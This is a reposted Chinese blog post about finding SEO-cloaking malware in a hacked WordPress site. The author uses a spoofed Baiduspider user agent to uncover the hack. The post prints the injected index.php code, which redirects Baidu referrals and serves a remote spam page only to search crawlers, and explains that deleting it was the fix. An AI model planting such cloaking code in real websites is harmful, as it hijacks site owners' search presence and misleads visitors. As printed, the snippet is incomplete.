网站被黑了被挂马篡改后我是如何解决网站被挂马!

news/2024/5/15 12:11:26/文章来源:https://blog.csdn.net/weixin_34413065/article/details/89700390

1、发现被黑,网站被黑的症状

      两年前自己用wordpress搭了一个网站,平时没事写写文章玩玩。但是前些日子,突然发现网站的流量突然变小,site了一下百度收录,发现出了大问题,网站被黑了。大多数百度抓取收录的页面title和description被篡改,如下图,title标题被改成xx友情链接,描述description是一些广告网址。但是点进去以后,访问正常,页面显示正常,页面源代码也正常,丝毫没有被篡改的痕迹。但是,为什么百度爬虫会抓取到这些广告文字呢,这些文字哪里来的?


2、自己猜想了一下原因,页面和百度抓取收录显示不一致。查服务器日志方案不可行。

     网站实际页面和百度排虫收录显示不一致,网站源代码肯定被了,但怎么改的,改在哪里不知道,服务器里代码文件有几百个,一个个检查,一行行看源代码肯定不现实。首先想到了检查服务器日志。但是问题是不知道骇客哪天改的,所以只能调出了几个星期的服务器日志来检查。可是,检查日志也是庞大的工程,而且对此经验不足,也很费事,也不一定有结果。因此,只能又寻求新的办法。

3、找到了问题解决的关键路线,使用useragent-watch

     页面内容没变,但百度排虫抓取错了,问题肯定出在爬虫抓取身上。所以如果能看到排虫抓取的整个流程,或许会会找到答案。一番研究之后,找到了一个工具“user-agent-switcher”,可以模拟各种设备和搜索引擎排虫,chrome和火狐浏览器都有插件可以安装。chrome安装useragent-watch之后,添加百度爬虫useragent 设置:Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。如图。

其他搜索引擎useragent:http://hi.baidu.com/romicboy/item/afc8d8d217278d5bd63aae22


     设置完以后,切换到模拟百度爬虫状态,再次访问我的网站,这次果然现原形了,网站这次跳到了另一个网站页面,这个页面内容就是,我网站在百度上显示的那些广告信息,如下图。再把useragent切换回来,输入我的网站域名,这次访问一切正常。这次可以下结论了,问题是在useragent上。骇客肯定修改了网站的源代码,而且是在源代码里加了判断语句,如果是当前请求的useragent是搜索引器爬虫,就把排虫引到把广告页面,如果是其他的就正常执行的。

4、找到被修改的源代码

     虽然找到了问题原因,但是该怎么找到被修改的文件呢。不过,了解了wordpress源代码文件执行顺序流程,一切就很简单了,如下图,按照顺序一个个文件找很快就能找到。


登录到ftp,按照文件首先找到了index.php文件,果然,运气不错,第一个文件就是被修改的。骇客在代码最开始就添加了如下图的代码。


如果还是被反复篡改被入侵的话建议找专业做安全的来处理

Sine安全公司是一家专注于:服务器安全、网站安全、网站漏洞检测、网站安全测试、渗透测试服务

一体的网络安全服务提供商。

5、解释下这段php代码的意思:


$file="http://www.XXXX.com/XXXX/X.htm";

$referer=$_SERVER["HTTP_REFERER"];//来路的网址url

$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//当前请求的内容转化成小写


if(strstr($referer,"baidu")&&strstr($referer,"456"))//如果是从百度点到该页的

{

   Header("Location: $url");//转到原来的正常url

}

if(ereg("http://www.baidu.com/search/spider.htm",$agent))//如果是百度排虫

{



        $content=file_get_contents($file);//转到之前定义的那个url页面

        echo $content;


        exit;


}

 把这一段删了,就ok了。重新提交百度,让百度重新抓取,过了几天百度快照更新就好了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_724184.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA爬需要账号登录的网_Java 爬虫遇到需要登录的网站,该怎么办?

Java 爬虫遇到需要登录的网站,该怎么办?-1.jpg (32.2 KB, 下载次数: 0)2020-11-17 07:54 上传这是 Java 网络爬虫系列博文的第二篇,在上一篇Java 网络爬虫,就是这么的简单中,我们简单的学习了一下如何利用 Java 进行网…

Mysql在大型网站的应用架构演变

为什么80%的码农都做不了架构师?>>> 写在最前: 本文主要描述在网站的不同的并发访问量级下,Mysql架构的演变。 可扩展性 架构的可扩展性往往和并发是息息相关,没有并发的增长,也就没有必要做高可扩展性…

知名网站的技术发展历程

互联网已经发展多年,其中不乏脱颖而出者,这些网站多数都已存在了接近10年或10年以上,在如此长时间的发展过程中,除了业务上面临的挑战,在技术上也面临了很多的挑战。我挑选了一些Alexa排名较前的网站(排名截…

eyoucms 分享一下网站内容建设技巧有哪些

网站制作中有句话“内容为王”。由此可以得出网站的内容对网站的制作是多么重要,网站内容是网站的核心,也是网站进行SEO优化的重点。所以,不管是网站的制作还是网站的SEO优化,网站内容都要做好,并且要更新一些有特色的…

从搞网站蹭灰产,终于又回到了自媒体

写下这篇文章,也借此回忆了这些年经历网络创业艰辛的岁月、时光,建过网站,接触过灰产,后来还是走上了自媒体厮杀一片红海中,自由网络创业的路艰难而又漫长,其中也有几点心得与君共享。曾经记得高中语文老师…

如何做好大数据时代的SEO?

榜首步:淘取SEO中心关键词SEO中心关键词是指能给网站带来80%流量的关键词。一个企业的中心关键词要达到50-100个之间。怎样去选择呢?办法许多,比方经过联想办法,或者是下拉办法,还有经过百度指数的办法等。还有一个最直…

jsp网站ico图标设置

版权声明&#xff1a;转载请注明作者及出处&#xff0c;否则将追究法律责任。 https://blog.csdn.net/q2158798/article/details/83350974 学习记录&#xff1a;小技巧 web项目中设置ico图标 ico图标放在webapp下 在jsp页面中引入(ps:每个jsp都要引入) <!-- 网站图标 -->…

美国物理学会Physics网站公布“年度亮点”工作,AlphaFold和潘建伟团队成果等入选

凭借詹姆斯韦伯太空望远镜拍摄的令人惊叹的图像、激光聚变的突破、升级后的大型强子对撞机的启动以及小行星防御系统的首次测试&#xff0c;2022 年提供了大量的宏伟成果。 在生物、量子和凝聚态物理学方面也有重要的小规模努力&#xff0c;以及在多样性、公平性和包容性方面的…

基于LAMP平台的网站架构(或Web系统架构)

1.网站架构的前提&#xff08;或者说需求&#xff09; 我们公司是一电子商务的网站&#xff0c;因为线下家具建材项目的推广需求&#xff0c;从而有了我们公司的这个线上网站&#xff0c;在这里我贴一张公司的网站架构图。 总体来说网站规模不是太大&#xff0c;注册人数在150万…

ASP.NET网站部署

1、安装WebDeploymentSetup_2008插件。 2、安装完成后&#xff0c;右键需要发布的网站&#xff0c;点击”Add Web Deploymenet project ”选项&#xff0c;如图1.1.1 图1.1.1 3、 点击该选项并输入发布生成文件目录地址&#xff0c;确定后&#xff0c;项目中会出现如图1.1.2项…

电商实例、业务并发、网站并发及解决办法

电商实例、业务并发、网站并发及解决方法 一、怎么防止多用户同一时间抢购同一商品&#xff0c;防止高并发同时下单同一商品 最近在做抢购系统&#xff0c;但头疼的是&#xff0c;在多用户高并发的情况下经常会库存出现问题。排查到&#xff0c;在同一时间内多用户同时下单导致…

整理了一周的Python资料,包含各阶段所需网站、项目,收藏了慢慢来

这周应该有不少学校已经开学了&#xff0c;那么同学们都该动起来了&#xff0c;把家里面的那些懒习惯给扔掉了可以。 不知怎么的&#xff0c;最近不少关注我的读者都开始私信我怎么学好python&#xff1f;零基础转行是不是合适&#xff0c;还有希望吗&#xff1f;今年30了&…

推荐一个下载源码的网站

我想下载javax.validation:validation-api的源码&#xff0c;但是从搜索引擎里搜了半天也没有找到下载地址。 后来我找到了一个网站&#xff0c;可以搜索、可以下载jar包、也可以下载源码包&#xff0c;就非常棒。就这个&#xff1a;Maven中央搜索库 搜索javax-validation&am…

url模糊匹配优化_网站优化需要掌握的方法和技巧

一个网站建设好之后如果不进行优化那么这个网站想要发展起来是非常困难的&#xff0c;但是网站优化又不是一件简单的事情&#xff0c;其中需要掌握的方法以及技巧还是挺多的&#xff0c;那么今天就来为大家介绍一下网站优化需要掌握的方法和技巧吧!一、网站的结构1.一个网站在优…

Struts2结合sitemesh3制作网站母版页面

上一篇文章介绍了sitemesh3的使用&#xff0c;这篇文章来介绍如何结合struts2来配置和使用sitemesh&#xff0c;具体的如何使用sitemesh3我就不讲解了&#xff0c;这个你们可以看看我的上一篇博客。 首先你要添加struts和sitemesh相关的jar包&#xff1a; 添加完毕后&#xff0…

windows server2008 iis 7部署及网站部署完整步骤

windows server2008 iis 7部署及网站部署完整步骤windows2008下的iis7安装部署&#xff0c;web 网站的配置&#xff0c;不是很熟练&#xff0c;每次都得google。下面整理一个完整步骤&#xff0c;以备使用1&#xff09; iis7安装&#xff1a;默认系统装完之后&#xff0c;是不会…

NodeJs Express MySQL 搭建电影网站:第一期(搭建Express项目、路由构建、jade 页面构建和模拟数据)

效果展示&#xff1a; 首页&#xff1a; 详情页面: 后台&#xff1a;电影添加页面 后台&#xff1a;电影列表 第一步&#xff1a;创建movie 应用 express movie 第二步&#xff1a;movie应用依赖第三方模块&#xff08;MySQL body-parser&#xff09; cnpm install mysql …

NodeJs Express MySQL 搭建电影网站:第二期(MySQL 数据增删改查操作)

第一步&#xff1a;编辑相关页面路由信息&#xff0c;使用MySQL填充数据 编辑movie/routes/index.js 文件 var express require(express); var router express.Router();var dbrequire(./../db.js); // 引入自定义DB 模块 var bodyParserrequire("body-parser");…

查看论坛隐藏链接_【外链建设】测试了1500个hao123推荐的网站,只为挖掘发能外链的DZ论坛...

点击上面“蓝字”关注&#xff01;虽然已经过了外链为皇的时代&#xff0c;但外链在新站建设、重点关键词排名等工作场景中依然占据着很重要的位置。因为我工作后&#xff0c;大部分的时间在做品牌SEO&#xff0c;没有积攒什么外链资源&#xff1b;这次要梳理SEO技术&#xff0…

iis服务器网站启动不了,IIS上打不开asp网站怎么办

导读&#xff1a;最近很多朋友都遇到iis上打不开asp的站点这种问题&#xff0c;然后来问我们为什么IIS不支持asp&#xff0c;其实这种问法是错误的&#xff0c;windows系统和asp同属于微软软件系列&#xff0c;都是微软开发&#xff0c;所以互相之间的支持和兼容就无需置疑了&a…